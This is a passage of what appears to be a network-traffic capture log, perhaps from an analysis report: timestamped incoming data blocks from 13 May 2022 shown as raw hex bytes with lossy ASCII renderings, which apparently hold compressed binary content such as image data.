39 29 60 e2 a7 96 48 a2 62 16 52 a5 09 5e f2 bf 96 be 91 d5 1c 0a 4b cf 6b f3 58 de af fe 74 83 6a 8d c4 8d 0b 11 d9 7a 
f2 bd bd 6d af d5 1b 55 9e 9f c4 e7 63 9c 54 cc 04 2a 4e 58 05 41 e6 5f 8f c6 bc 0b 26 9c 1b 26 51 f1 b9 67 8a 76 c3 e3 
60 51 9f 97 29 0f 3b 2d cc 51 1e c5 06 e0 1b 57 a8 ee ba 39 12 70 07 cf 7b 75 d7 24 37 1d 23 87 88 ae e8 cf f9 f8 d7 26 
bd b8 8b 12 c1 07 2f 10 96 39 a5 b8 54 27 af 4d ff 00 c8 d5 2a 35 c0 bb 12 43 93 2f 25 92 90 e2 b7 97 70 bc a4 5c 2f 8b 
0e b7 a5 65 d5 4b 29 39 34 d9 1c 50 96 01 1c b2 87 9d 5b 70 97 a5 94 9e bb 7b 6b 99 3c 9a b4 57 e6 71 32 4c 23 c1 c2 
91 e5 60 49 60 6c 0e 87 f9 56 b5 b7 96 43 46 73 96 c4 cc e0 
Data Ascii: `L|r]*y1^&19)`HbR^KkXtjzmUcT*NXA_&&Qgv`Q);-QW9p{u$7#&/9T'M*5C/%p\/eK)94P[p{k<Wq2L#`I`lVCFs

2022-05-13 14:42:09 UTC 9352 IN Data Raw: 53 ee 28 e5 c9 92 53 13 c6 42 c6 15 4b 29 ed b5 c7 4b 54 6c f6 3e b7 10 1d 64 3b db 1e c4 e4 d3 36 0c c7 ec 
94 5d 1c ed 62 b7 d4 9f 0a c3 77 b2 ad 57 54 55 68 cf 5e 82 31 c2 72 af 33 45 3e f7 b7 a6 ca c0 28 00 74 5a f1 d2 71 93 
a1 2c 96 bf dc b1 14 36 4c 91 ea f7 f5 09 50 a4 df a7 94 7d 46 a5 a9 34 c1 dc 53 c5 97 16 4e 22 c5 24 71 b8 1a c6 a4 78 
8d cd d3 4a e5 be 06 1e 98 f2 e1 ba c5 8a 55 f1 1d 2d 90 8d a6 fe e3 6e c7 1d 8c b4 a9 78 e4 93 2f cb 61 e0 71 79 c7 cd 
92 d1 11 ba 21 18 5b 31 3d 45 bf fb af 5e 86 bd 92 20 79 7d df 26 17 13 2e 46 1c 00 49 15 8a c6 10 02 05 ec 49 f1 ab 75 
ed 68 2a 61 01 45 2f ae be bb 4c b0 e4 15 f5 dd 2d aa df 5b 83 7d 6f 59 ba a4 c8 6c 93 00 e4 f2 08 32 25 74 f5 4b 12 91 
ee 3a 8e f2 0f 5b d4 59 41 23 e7 c5 64 99 72 e0 64 88 48 
Data Ascii: S(SBK)KTl>d;6]bwWTUh^1r3E>(tZq,6LP}F4SN"$qxJU-nx/aqy![1=E^ y}&.FIIuh*aE/L-[}oYl2%tK:[YA#drdH

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:09 UTC 9360 IN Data Raw: 08 83 ff d2 f9 35 9a 3c 97 48 a7 62 84 11 62 ab d9 5e 72 c1 41 d9 18 38 f1 b1 48 d8 7a 47 f3 9f f1 aa 4c 20 7f 
02 90 ae 79 48 d8 ba 0d 14 20 d5 be 37 e9 58 ee fe 25 57 92 fb 95 c8 e4 32 00 6d a7 ec a7 3e 98 6b 68 ba d8 f4 ed ae 2a 
55 25 f9 29 89 9f c5 f1 12 ce 91 4d 2b 2b 2a 85 dc 82 db ad fe 9a aa 6c b4 4a 06 91 1f 3f 8b c7 63 ba 45 01 09 1a 8d c4 bf 
d4 4f 78 a3 55 ac f2 26 91 26 14 89 8b 8e 9c 87 a1 1f ac f7 17 2b 7d 3b 1a c3 b4 d6 3b 32 fa c9 48 d9 fb 76 0c 9c 5e 35 
9d 9a 35 85 90 b5 c0 3b 9d 7b 57 c0 f7 57 15 eb 98 45 a3 1f cb 72 d9 b8 72 c5 c8 41 0b 45 86 92 5d 0f 60 20 f4 63 db 5d 
9a fd 7a b5 0f 92 1b 08 e7 f0 b1 b2 9d 39 9c 67 f4 44 c8 5d c0 6b d8 9f d3 e1 51 a7 6b ab e8 fc 05 ab e4 cc 60 7b b7 92 
c0 3f 6b 90 2f 8c 75 20 a8 3a 77 d7 b4 f5 a8 94 63 
Data Ascii: 5<Hbb^rA8HzGL yH 7X%W2m>kh*U%)M++*lJ?cEOxU&&+};;2Hv^55;{WWErrAE]` c]z9gD]kQk`{?k/u :wc

2022-05-13 14:42:09 UTC 9376 IN Data Raw: ba d3 5a 39 44 76 93 cc 72 38 d9 a0 3b 9c 3a a0 36 27 69 16 af 75 5d 33 9c ff d7 f8 bd 31 57 29 de 45 53 7b 
ee b7 87 c2 b9 a6 00 d8 7b 6f 39 50 de 4f e9 c5 61 d4 eb a7 85 79 fb bf 06 b5 b4 17 dc d7 ba e3 9b 1e 07 f4 83 aa b9 b6 
9a eb e1 58 d6 8e ce 0a b5 e4 7e 16 5c b1 96 cb 8a 22 31 63 0b bb 40 54 31 1a 6e 07 bf b6 97 49 50 2e 47 e4 f2 50 7b 
b3 0a 29 32 e3 58 a3 57 db b7 a5 c5 f5 f4 cf 75 63 0f 53 c6 42 24 e8 3d b7 85 81 91 04 d0 c9 b0 2b 12 4c a0 15 65 ec a9 
b6 f7 64 d3 1c 41 6d c8 72 98 21 52 17 0b 1c 97 b2 2c 62 fb be 7f f3 ae 15 aa cf 25 3b 02 65 4c 0f 92 40 e4 44 77 15 06 fd 
35 b7 cc 75 ad f5 a8 09 22 e3 89 e7 73 f7 c3 88 1e 10 08 55 6f 2a 81 7b f6 5b 5a e9 d8 fa 2e 41 64 b3 3c 8c d0 bb 59 22 
48 2f b3 68 3d 4f 8f ea b5 72 44 97 20 b9 cf f6 71 3e 41 
Data Ascii: Z9Dvr8;:6'iu]31W)ES{{o9POayX~\"1c@T1nIP.GP{)2XWucSB$=+LedAmr!R,b%;eL@Dw5u"sUo*{[Z.Ad<Y"H
/h=OrD q>A

2022-05-13 14:42:09 UTC 9392 IN Data Raw: 37 76 76 12 c7 ba bb e9 ed 2b 25 5e 1b 33 74 27 3c b7 35 c8 34 78 b8 b1 3e 44 61 2e 44 6c 00 d3 ad da af fc 
65 c8 e4 d1 e0 7b 99 9e 38 a0 e4 5a 16 72 c4 5b ca f2 21 03 af 87 75 79 bb 3d 38 fd 94 9b 2b 0b 91 3f f7 45 06 29 01 0b 
26 d0 ac 9f 87 ce b4 ae a8 40 ca 91 ed e9 b1 84 99 38 b3 19 0b 1b 32 11 76 eb e3 a5 74 f6 5c 33 37 4f 82 cf 81 5c d9 93 
7c 06 16 c8 88 95 d9 23 0b 29 f1 14 5d 52 33 c1 39 2f 0c 9c 88 c7 10 e6 c4 af e9 92 ce d0 15 da 74 ee f0 af 26 fa eb 3f ab 
2d 15 ef 83 c7 f3 9c 74 d0 3b 3e 3a b8 52 5f d2 1e a3 0f fe ef 85 6b 57 6d 2d 3f ff 00 41 f5 92 a0 7e d8 c5 81 fd 6e 30 34 
b2 b7 d3 1b 32 ec 07 fd 4d f5 78 95 ae bf f3 dd b1 6e 08 fa e3 83 ff d4 f8 f2 27 c9 c6 c8 02 22 09 3a 86 e9 a7 88 ae 37 91 
9b 8e 33 8f 8b dc 18 71 46 64 30 e4 c6 cd 62 75 
Data Ascii: 7vv+%^3t'<54x>Da.Dle{8Zr[!uy=8+?E)&@82vt\37O\|#)]R39/t&?-t;>:R_kWm-?A~n042Mxn'":73qFd0bu

2022-05-13 14:42:09 UTC 9399 IN Data Raw: 06 bd ca 4d 42 aa a8 fb 48 4f b5 f3 f2 a2 e4 22 9f 32 50 54 f9 52 18 f6 01 7e 80 b5 4e c7 23 d7 68 79 21 fd c9 
87 07 92 e6 22 4c dc 91 16 c5 b1 24 6f 1f 3b 76 d5 ea 6d 21 ec 72 60 86 0e 29 9d 82 12 56 f6 8d 97 40 47 c3 b2 b6 93 08 
3d 3f f6 e3 90 48 78 ff 00 ed e5 35 57 6d b2 37 40 7a 81 7e b5 e0 fb 8b f6 93 6a b2 2e 6e 0c 8e 62 45 8f 2d 91 63 2f b5 4a 
ad 98 db 4b 5c 75 02 b1 a5 fa f0 59 63 97 06 56 1e 38 c1 c7 24 7a 6b b5 e2 23 56 03 a5 ed f9 6b 24 e5 cb 19 51 9f 1e 7c 
f0 41 29 63 74 72 37 03 a5 c7 e5 f8 d6 f5 69 00 4f b8 d6 45 e2 b0 42 aa 17 59 5c b4 9b ae 35 d7 a0 d4 10 6b a2 91 00 ca 
69 a3 93 2e 77 9f d6 0b 3b 28 20 1f a4 92 3f 85 34 e3 04 14 59 6d 91 c5 40 e6 7c 51 34 8d 7d ad 6b a8 3d e7 be bb a9 16 
64 f0 68 3d 83 c9 f2 5e 9c de a6 23 95 91 40 0e ab 
Data Ascii: MBHO"2PTR~N#hy!"L$o;vm!r`)V@G=?Hx5Wm7@z~j.nbE-c/JK\uYcV8$zk#Vk$Q|A)ctr7iOEBY\5ki.w;( ?4Y
m@|Q4}k=dh=^#@

2022-05-13 14:42:09 UTC 9415 IN Data Raw: 90 e7 93 0e f2 26 4a 46 32 21 16 dc e6 f6 f9 56 89 b8 c1 45 71 e2 b8 ce 5a 6d d8 33 b2 92 49 67 2a 2e 41 d2 
c4 0e ca d3 ef b6 bf e4 84 eb 26 b3 8f e2 f2 f8 6e 38 e1 5d 24 86 12 cf 1b 58 79 af 5e 6e dd 8b 65 a7 e4 a5 58 2a 70 f2 
0e 4e 4a 47 9f 8c f1 23 06 b3 eb b4 9b 1e ea eb ad 12 f2 33 97 0f 03 1e 00 55 c1 8f 22 32 97 93 77 90 83 a6 b7 d3 c2 b4 
4e 18 e0 83 0f 8f 8d 1e 38 fd 68 ed 18 ef d4 8b f6 9a 76 b7 6c 89 22 fe 2c 15 8b 11 31 d9 52 5d f3 6f 05 19 48 36 ec 3a ff 
00 3a 50 ca 2a b9 8e 5b 13 0e 6c ac 4c bc 0d 84 26 e7 6b 6b a7 e6 b7 65 75 53 55 9c 43 1c c1 e6 f8 5c de 26 14 b2 cb 
90 a6 78 d8 59 14 9d bb 4f ea 15 ec db 5b 6a 11 8a 69 15 79 7e ef 65 49 5b 09 9c 47 a8 b1 3f 94 f7 d6 ab 42 f2 43 66 4d 
b2 9b ef 54 ee b2 9e a3 b3 a5 75 24 49 77 26 5e 4b e0 44 
Data Ascii: &JF2!VEqZm3Ig*.A&n8]$Xy^neX*pNJG#3U"2wN8hvl",1R]oH6::P*[lL&kkeuSUC\&xYO[jiy~eI[G?BCfMTu$
Iw&^KD

2022-05-13 14:42:09 UTC 9431 IN Data Raw: a4 f4 58 02 14 b1 0a 40 2c e6 b8 5e 9b 75 2f b1 8e 6f 72 67 36 5c 91 ca e6 48 18 90 16 5d 00 27 b7 e5 5e b2 
f5 d7 59 46 5d 8d 47 10 16 08 b7 65 95 dc ea 4a 94 b1 03 ba c3 b6 bc eb f3 83 44 0b 85 ee cc 98 73 7d 25 21 e3 50 51 
45 fc c4 1e df 95 75 bd 31 59 14 97 bc 7f 2f 94 62 61 14 09 8e ec 45 e5 36 5d e9 db 61 6a f3 76 a8 7c 94 99 71 c2 66 c1 
90 32 5a 68 03 c1 18 f2 96 3e 57 20 68 c0 0e ca c9 a8 82 aa 51 f2 53 2f 2b 83 04 5f 6e f3 c8 59 5b fa 40 8d 41 d5 45 ff 00 
22 8a ea d5 77 56 e1 c0 b9 2b bd c7 c7 c5 ed 68 33 26 c2 55 6c d9 d3 55 16 02 18 db 4d b6 fd 46 ba f4 6e b6 db 24 f8 5f 
ff 00 b0 35 07 8c 41 c6 47 16 4a e6 2b 59 03 6a 07 61 af a9 76 c4 1c ad 17 99 99 16 94 41 a8 26 d7 bf 5d 6b 34 89 63 16 
10 c5 d8 7d 0a 75 03 fe 3a 52 11 e8 7e d7 e4 73 f2 b8 e6 
Data Ascii: X@,^u/org6\H]'^YF]GeJDs}%!PQEu1Y/baE6]ajv|qf2Zh>W hQS/+_nY[@AE"wV+h3&UlUMFn$_5AGJ+YjavA&
]k4c}u:R~s

2022-05-13 14:42:09 UTC 9439 IN Data Raw: 99 6f 8a 12 2e 6d 78 a9 67 0e aa ed 10 90 5c ee 0c 08 d3 c3 a5 63 18 92 bc c1 9d 97 0e 78 65 68 91 d8 c2 8c 
45 fa 6a 2b 54 d3 e4 e7 75 68 4f b3 75 6f 52 47 47 07 4f 3b 74 ff 00 9d 34 fe 05 01 82 5c ac 6c 49 0e 29 54 88 82 a1 94 
8b 92 7b 8f 53 f2 a5 cb c9 49 b3 d3 f1 b9 64 ff 00 e0 d1 89 cc 6d 39 8b 63 b0 1e 7d 0d 86 f3 f0 a3 ac b3 a9 5b 06 37 d9 13 
c5 04 f3 63 4d 04 59 d8 d1 ed df 31 24 24 43 bc 35 73 7b 7a ad 65 35 70 cc e8 7a 3f 11 9f 83 9d c9 e3 e2 23 2a 86 66 37 
56 36 00 0d 45 7c d5 3d 7b 37 94 75 03 fb 97 8b c5 83 93 2b c6 c1 2e 6e c6 b0 04 12 00 1a 9b fe ab 77 56 f5 9e 13 84 45 
a9 f0 49 26 23 71 90 fd ee 65 93 22 4f fb 30 22 ea 01 fc c4 76 7c 28 eb 8c 99 5b 5c 14 bc f7 20 bc 3f 17 b0 48 fe bb 38 3e 
a9 06 fb 87 9a d6 3f 97 b0 d6 fa 29 dd 98 f5 3c fe 
Data Ascii: o.mxg\cxehEj+TuhOuoRGGO;t4\lI)T{SIdm9c}[7cMY1$$C5s{ze5pz?#*f7V6E|={7u+.nwVEI&#qe"O0"v|([\ ?
H8>?)<

2022-05-13 14:42:09 UTC 9455 IN Data Raw: d3 bb c1 36 b4 19 ee 2f 99 e5 79 22 b1 71 e9 33 16 73 a2 86 dd d6 f6 dd 6d ab f3 ae 8c 2e 60 e7 56 6c f5 9c 
4e 3f 26 2e 2b ed f3 ee 86 54 21 91 1b 7b ac 8a 74 1a fe 53 f9 ab 96 fb 6b 65 83 a4 cc e2 62 49 3c 42 39 a0 18 f7 66 45 
91 16 da 9d 35 02 f6 bd 72 b8 32 19 0f b7 70 e2 76 7b 2b 25 ac e0 35 88 1f 13 d4 df ad 67 b3 65 92 c3 34 a5 53 2c 48 c5 
c4 c3 95 5d 00 b2 02 9d a6 c1 86 ef e1 5b 7a 8d b7 fb 1b c2 29 3d dd c9 1c 1c b8 f3 70 58 34 72 a1 52 c7 4b 0e b5 e9 5b 
52 b2 c9 2d c1 2f ed f7 21 9b ca f3 bb 32 52 41 02 44 ee 87 69 55 66 ec e9 a5 3a 6b 55 45 51 cb 32 1f b9 7c d7 23 c5 f2 
f9 18 22 76 5c 79 2c c5 05 ed 7b 74 b5 7a 2b 5a b4 33 9f 65 9a 67 9f 71 f9 32 fa ad f7 6d 20 81 ac 19 93 ea 5d 7a 81 5b 
5a ab c1 cf 27 a5 71 f8 dc 47 b9 18 45 9b c8 2e 5c 31 a8 
Data Ascii: 6/y"q3sm.`VlN?&.+T!{tSkebI<B9fE5r2pv{+%5ge4S,H][z)=pX4rRK[R-/!2RADiUf:kUEQ2|#"v\y,{tz+Z3egq2m ]z[Z
'qGE.\1

2022-05-13 14:42:09 UTC 9471 IN Data Raw: 84 67 24 a3 55 28 c6 e4 5c 1d 34 ff 00 9d 69 a9 7e d2 c1 22 79 90 62 e3 4d 37 a8 a6 e8 4b 6d 5b 8b 1f a8 fc 
a9 da 99 06 a0 a2 88 41 96 c2 7c 28 e5 28 d2 02 f2 5e ca b6 ed 03 c7 ba 87 6e b8 6c ce 01 f9 17 92 69 3d 27 0f 20 01 9b 
76 db 5b e1 b7 b0 d6 ba f3 c1 20 98 b8 fc a4 d8 6b 06 39 78 a2 3a c6 a4 ec 24 8f cc 4b f5 17 ae 9c 4e 48 82 be 2c 1f 70 
e0 cc c9 2c b1 e4 a3 37 f5 11 58 3e d3 e3 d9 5d 16 a5 2c 4e 4a 8e 4b 99 70 d2 be 52 3a cc 41 54 59 16 e0 f7 6d b5 6b 5d 
70 43 66 ab 8d f6 f6 44 98 5f 71 cb 64 29 06 30 f1 05 37 55 2d ad 9c 7e 63 6a c6 db 55 5e 11 68 67 06 8b 8c 99 01 d9 64 
c8 da 5d 2c ba 28 5d 36 91 de 6b a6 96 92 d1 65 c7 e0 e4 e4 6d cb 48 ed 32 00 ee 76 95 05 07 5d bd ff 00 0a d9 ec 4b 
06 89 17 be f4 e3 70 5b 88 6c d4 63 10 fa 81 54 b9 04 0e c5 
Data Ascii: g$U(\4i~"ybM7Km[A|((^nli=' v[ k9x:$KNH,p,7X>],NJKpR:ATYmk]pCfD_qd)07U-~cjU^hgd],(]6kemH2v]Kp[lcT

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:09 UTC 9479 IN Data Raw: aa c8 6e 7c 78 2d c3 cd 14 03 fa 50 15 52 0b 10 d7 03 b6 f5 ce fb 7f c4 d2 dc 18 b8 47 1d c3 64 89 a3 fe 9c 2b 
b8 9b 90 6f 71 af 4f c2 8f ae db 53 4f 96 73 70 55 fb 87 de 29 9d c7 7a 78 50 7a 41 13 c9 21 60 19 98 1b 83 63 a9 b5 6d 
ea fa 0e 96 9b 3f ec 0e df 06 6e 2e 6d b9 b7 59 f9 46 bc cb e5 05 45 81 b8 d4 8b 57 b9 af 42 d5 8a 93 da 79 2a b9 14 fb 
ac 29 22 c7 b3 14 6b 6d 61 f3 ae fd 78 79 32 79 27 e1 f8 86 62 98 cc 85 e2 47 0e e8 57 41 71 f9 48 3a d2 d9 72 aa 8f 7b 
e4 32 78 ff 00 71 71 5c 6b 48 bf d3 81 ce d4 2b b8 82 a2 ca 1b b8 57 c9 7b 56 b5 54 23 d0 b3 4d 12 1e 4e 6d a6 3c 68 59 
e1 4d cd 23 bf 94 29 1d 13 41 5c 3a 34 ab 39 62 93 31 c0 73 f9 3c d7 ba 0e 1c 3b 5f 19 e1 91 0c 62 e0 11 db 21 23 5d 3b 
2b eb 35 d6 17 e4 e7 6c f3 3f 74 65 4f c8 c9 3f 17 0f 
Data Ascii: n|x-PRGd+oqOSOspU)zxPzA!`cm?n.mYFEWBy*)"kmaxy2y'bGWAqH:r{2xqq\kH+W{VT#MNm<hYM#
)A\:49b1s<;_b!#];+5l?teO?

2022-05-13 14:42:09 UTC 9495 IN Data Raw: 7e cb 02 2b 17 97 69 0a c3 f2 a4 57 b1 32 1f fa ab bd c5 54 9a 2b 48 57 2f ef e9 b2 e7 9f 07 83 b4 38 50 28 5b 
b6 ac 58 8d 09 ef 27 c2 b8 2f ec 63 0a 0a 4c f2 dc bc 29 b1 f2 fd 59 14 4f 2c a6 eb b2 ec 6f 7b 92 dd b7 34 eb ec 26 b3 e3 
e4 c9 b8 66 fb f6 f3 db 7c a7 1f ee cc 4c fc ac 74 8a 15 47 93 7a b0 2a db c5 82 f8 38 fd 35 db eb ed 57 ca 34 86 79 df ee 
f7 b6 b9 0e 43 dd b9 2f 82 9b f7 59 b6 ab 5d 81 ef d6 bd 15 be ba d7 ec 73 ec 52 cc ee 47 b3 27 e2 f1 41 ce 97 74 e6 ff 
00 d2 5b 1b 69 d4 b5 72 2f 75 5d c5 56 3e 4c 6d 48 43 38 68 7e f9 2f 09 0f 2c 64 00 47 e5 1d 2d ad 61 be dd 5e 7c 92 94 
93 73 71 be 09 8e 5f 45 9c 93 a8 56 00 75 ed b5 69 a1 76 c4 c0 ac a0 a7 c6 c3 e5 f9 17 77 75 96 1c 6d c4 69 72 a3 bc 5e 
bb ad b2 9a d6 32 cc e4 d2 c7 cf e1 71 1c 6f a1 
Data Ascii: ~+iW2T+HW/8P([X'/cL)YO,o{4&f|LtGz*85W4yC/Y]sRG'At[ir/u]V>LmHC8h~/,dG-a^|sq_EVuivwumir^2qo

2022-05-13 14:42:09 UTC 9511 IN Data Raw: 75 20 db be ab a9 d2 cf 12 f7 e6 66 5c 72 be 11 d8 be a1 90 90 0e f2 ca c4 d8 0b 74 f2 d7 97 af d0 55 bb bb fe 
c7 2e cb 78 17 f6 c7 3f 2e 03 32 c4 1e 62 a6 34 51 da a8 cd e7 61 df b6 bd 0b 55 51 3b 70 67 46 cf 59 e5 f0 30 f3 22 31 
a4 fa 06 be d7 25 5a fd 87 4e ab e1 7a fc ff 00 d9 f6 1e cb 76 3a 7c 19 dc 6f 63 c5 06 3c bf 73 9a 31 d0 bf a8 a6 1e a4 8e 
97 fc de 16 a2 be cf 67 c4 e2 32 64 a8 08 a7 87 69 8e 3e 1b 7a 84 af f5 0e 43 5c b6 bd 6c c4 ed b5 6d 7d 1b 5e 63 fe 85 
24 91 ff d1 f2 58 f8 4e 33 1b d5 79 97 29 9f d5 b1 61 b5 40 00 eb d7 a9 3d 86 be 26 db 0f 43 a1 b6 8b dd 7c ac 68 b8 fc 
66 38 8d 05 96 39 24 1b 9c 2f 70 ec dc dd ad 51 d9 41 d2 9b f0 11 85 86 20 ce 8e 7e 49 9e 49 6e 0b 6e 27 6f 5e 80 0d 6b 
8d 5d 36 5a 59 2e 27 e6 73 f1 e5 93 0b 84 c5 58 a6 
Data Ascii: u f\rtU.x?.2b4QaUQ;pgFY0"1%ZNzv:|oc<s1g2di>zC\lm}^c$XN3y)a@=&C|hf89$/pQA ~IInn'o^k]6ZY.'sX

2022-05-13 14:42:09 UTC 9519 IN Data Raw: fb fb ea 38 78 13 53 c8 04 5c 1e 08 61 29 04 3b 35 80 6d 35 ae 97 ec 5f 83 1f a6 a4 bc 8f 04 50 7a 98 96 51 
6b 10 84 dc db b4 de b3 d5 ec 4e 2d ff 00 72 2f ae 38 33 52 36 4c 72 04 9c b8 d6 d6 03 b3 e1 5e b2 55 6a 54 1c b2 fc 9b 
cf 6b 40 d8 33 ae 51 78 d9 2c 74 3f 52 fc 2f da 6b cc db d6 57 74 fa f9 83 b6 98 2d 53 dc 9c 5b 47 2c 8f 26 f9 49 60 77 ae 
d0 a0 74 1f fa 57 a3 b3 d3 f5 7a c5 1d 95 bf e2 2f bd c8 98 b3 c5 9e a8 b8 2a 65 89 41 bb bd d4 af 76 d2 7c 7b 2b c0 dd 
aa ba ad cc 9b d3 67 62 e6 33 9f 19 0a 22 5b 32 f9 e4 43 da 06 97 14 69 dd 6a d5 d6 ad c3 f1 ff 00 dc 6c a7 c2 e6 78 cc 
bc d9 30 99 7d 19 6f 67 25 75 63 df b8 ff 00 0a e8 b7 6a a5 6f 1f d4 9a dd 37 06 bd b8 9e 2d a0 f4 63 20 d8 5f 73 1b b5 cf 
7d 4f dc ad fc 6c 6f d4 cb f2 3c 5f a5 32 b2 31 8e 
Data Ascii: 8xS\a);5m5_PzQkN-r/83R6Lr^UjTk@3Qx,t?R/kWt-S[G,&I`wtWz/*eAv|{+gb3"[2Cijlx0}og%ucjo7-c _s}Olo<_21

2022-05-13 14:42:09 UTC 9535 IN Data Raw: 84 00 5c 9e bf 1f 8d 6f 6d 58 e0 3e d4 03 91 cb 61 e1 c9 b5 cb 6d 6f cc 0d cd ad d2 b4 d7 eb 3b 12 f6 24 3b 8c 
cd 7e 41 3d 14 2a be a1 61 76 3a 1b 1e d1 df 5d 56 f5 12 46 8a f2 5e 71 9c 16 34 b3 34 79 b2 a0 62 b6 45 5e 97 3d b5 cc 
b4 27 89 19 3e 27 b7 0b 41 3e 46 53 a3 3c 3a 1b f9 58 28 fc c6 d5 a2 f5 92 4d bf 00 ab f2 50 c3 cb f1 99 7b a1 8a 53 23 
8f 28 36 ee ec bd 70 ed d7 d1 49 35 b2 78 34 38 d8 b3 cb 12 99 25 48 45 fd 41 b4 6a 6d da 7b 0d 62 a8 e3 27 4c 0e c8 
c1 c7 1b f2 63 91 e5 73 f4 c8 08 b5 fb c5 bb aa 5a 69 92 d1 47 8e ab 8a c5 66 1b e3 5f 30 66 3a ee eb 7a e9 a6 a9 39 9b 
83 25 cb e7 f1 7c 90 9a 5c 58 b6 cc de 46 75 3a 38 f8 f8 78 57 a1 5f d5 24 ce 5b 39 3c f1 fd b9 93 26 43 4b 89 26 d8 97 
c9 ba c4 b8 1d ba 93 a5 bb eb e8 29 6f d7 3f d4 e6 ea 3a 
Data Ascii: \omX>amo;$;~A=*av:]VF^q44ybE^='>'A>FS<:X(MP{S#(6pI5x48%HEAjm{b'LcsZiGf_0f:z9%|\XFu:8xW_$
[9<&CK&)o?:

2022-05-13 14:42:09 UTC 9551 IN Data Raw: 08 60 fd 25 27 42 4e 84 d6 7b 7d 5c 4a ff 00 a1 55 65 e7 df e0 e2 c2 46 42 84 64 0d b5 d3 a3 7e 95 ae 0f a2 
56 4d b0 4f 0f 37 13 60 a3 65 c7 b1 64 3f 4f 43 58 ba 2a fe ad 8a 51 dc 1f 28 26 88 64 4e 36 30 0c 05 ed ad 8e d5 14 ab 
5e af 99 14 c8 64 98 d0 cb c9 26 54 6c b6 0d 67 07 bf b6 dd f4 5b 99 08 1b cf 47 88 b1 49 b8 7a 86 40 59 42 74 1b 4e b5 
8e c5 91 b0 6c 38 f2 61 58 fd 64 da cf 76 50 47 70 f2 fe 35 d1 5d 4d f2 24 ca 2f 73 f2 31 e4 62 ac 89 11 33 29 b9 b2 dd f5 
af 43 56 b7 57 93 3d 8e 51 89 c3 ce c9 39 9b 3d 09 0c 0d 7f 54 b2 58 d8 76 fc ab dc ae 11 c9 26 e7 da de da ce 8f 22 2c 
dc ff 00 e9 e3 64 8f fc 66 62 37 32 f6 36 c0 6d 5d f5 a7 0d a2 1d fe 0d c4 fe e2 4e 0d e2 c5 68 94 89 48 45 2e 41 0c dd 36 
a9 e8 2f 5d 95 52 60 55 7b 91 64 e3 da 4c f9 93 74 
Data Ascii: `%'BN{}\JUeFBd~VMO7`ed?OCX*Q(&dN60^d&Tlg[GIz@YBtNl8aXdvPGp5]M$/s1b3)CVW=Q9=TXv
&",dfb726m]NhHE.A6/]R`U{dLt

2022-05-13 14:42:09 UTC 9559 IN Data Raw: c9 92 49 16 19 d9 71 9d 09 62 07 56 1f 97 5e fa ce de b3 b3 c3 84 3f b6 0b 1e 37 3f 1b 07 88 27 2d 11 61 07 
69 65 5d 40 06 d6 70 07 5a ea 50 ab 93 3c b6 53 e4 f3 51 fb 50 c3 f6 e8 24 e1 e4 20 1d 83 54 69 0e 9d 3a 86 26 b9 3e ce 
af 1c 1b f4 ec b2 4f ca 7a b9 99 c3 18 46 55 76 13 bc f6 f8 56 d0 db 88 33 50 91 e7 b9 f8 58 d1 73 31 43 9e 3e df 15 c9 
13 10 3f a6 e0 6a a4 b7 7d fb 2b 0b 2c c3 37 ab c6 0f 46 cf ce 8e 1c 61 2c 48 52 08 d7 62 05 16 56 07 e9 da 7c 6b aa 7e 
0e 68 93 31 c1 71 1c 87 15 cb 4b c9 4b 3f fe 34 da 2e 2a 8b aa 5c ea d7 27 ea ff 00 6d 26 36 5d 65 49 b2 29 60 8b 68 51 
bd b7 8d 0d cf 7f 8d 67 30 07 84 fe eb e5 e2 71 be e7 82 59 21 02 66 c7 43 3c 8b d5 89 1d 1b e2 b5 eb 7a ea 51 85 cf 27 
e6 bd de 8b 1c fc 2a a0 fe de c4 ac 05 8e e3 10 63 bb 68 
Data Ascii: IqbV^?7?'-aie]@pZP<SQP$ Ti:&>OzFUvV3PXs1C>?j}+,7Fa,HRbV|k~h1qKK?4.*\'m&6]eI)`hQg0qY!fC<zQ'*ch

2022-05-13 14:42:09 UTC 9575 IN Data Raw: b3 4d ed 8e 3e 3c 9f 26 53 90 23 27 43 60 7c a4 ff 00 d3 5b 6c 70 ce 7a a9 27 e7 df 32 2c 3c c9 d5 10 98 03 
4a 24 66 d1 f6 fe 56 5e df 0a 8d 76 7d a0 6d 60 6c d2 4a 60 8f 91 e3 63 59 19 22 0f 3c 67 41 e9 b0 d7 67 fa d4 f4 ef ad e7 
26 25 c4 bc 4c 0b 8b 24 d8 32 79 84 6b 36 96 2a 74 d6 df 11 5c d7 46 95 65 6f 0c dc 97 23 ca 26 2f 14 db 03 29 77 66 04 
a8 4b 5c 7f d5 73 a5 79 7b 35 bb da 11 d7 5b 75 52 6c b8 2c 0b 0f b5 94 b3 08 e4 32 3b f6 3b 13 d0 f7 d6 ba 75 f8 7e 08 
d9 6f 26 ae 7c fc 55 91 31 a3 d9 eb 00 d6 03 53 61 da 2b d6 a3 53 07 13 46 37 df bc 3e 66 47 1f 17 25 c6 b1 7c be 3e 51 
92 21 1d 65 50 08 74 f8 95 e8 3b eb a6 24 89 1d c7 67 63 f3 fc 74 5c 86 22 ed 0e 9b 9a fd 49 f1 1d 84 76 8a e6 68 d1 32 
a3 3d d6 4c 11 c8 47 75 92 2d ca 47 79 53 af cc 1a 15 
Data Ascii: M><&S#'C`|[lpz'2,<J$fV^v}m`lJ`cY"<gAg&%L$2yk6*t\Feo#&/)wfK\sy{5[uRl,2;;u~o&|U1Sa+SF7>fG%
|>Q!ePt;$gct\"Ivh2=LGu-GyS

2022-05-13 14:42:09 UTC 9591 IN Data Raw: 4c 5f 19 00 38 f2 da ed 1b 0e 8b 5f 3b ed fa 2d db ec a7 27 a9 a7 7a 8e b6 3d 78 72 b2 f2 fe d9 86 5c 1d d2 17 
db 70 6d 76 da 2c 4e 9d 0f 85 70 68 4e 96 fd ca b6 78 32 7e ec cd e4 f8 03 8e 24 01 d2 40 b6 36 bb d9 bb 36 f4 04 1a f6 
35 b5 6e 0c 5a 8e 48 b8 78 f9 29 24 9b 33 90 9d e0 c8 5b fd b6 f0 02 b0 b1 ba b5 b4 0d e1 5a 76 f0 85 d4 f2 de 55 f1 b9 
19 25 c7 0a c8 fb 8e dd 3b 7b 7f 8d 7a d5 e0 e1 b7 26 42 29 1b 1d d9 24 5b 95 3d b4 a0 93 7f fb 7b cd 4b c7 72 90 4a 75 
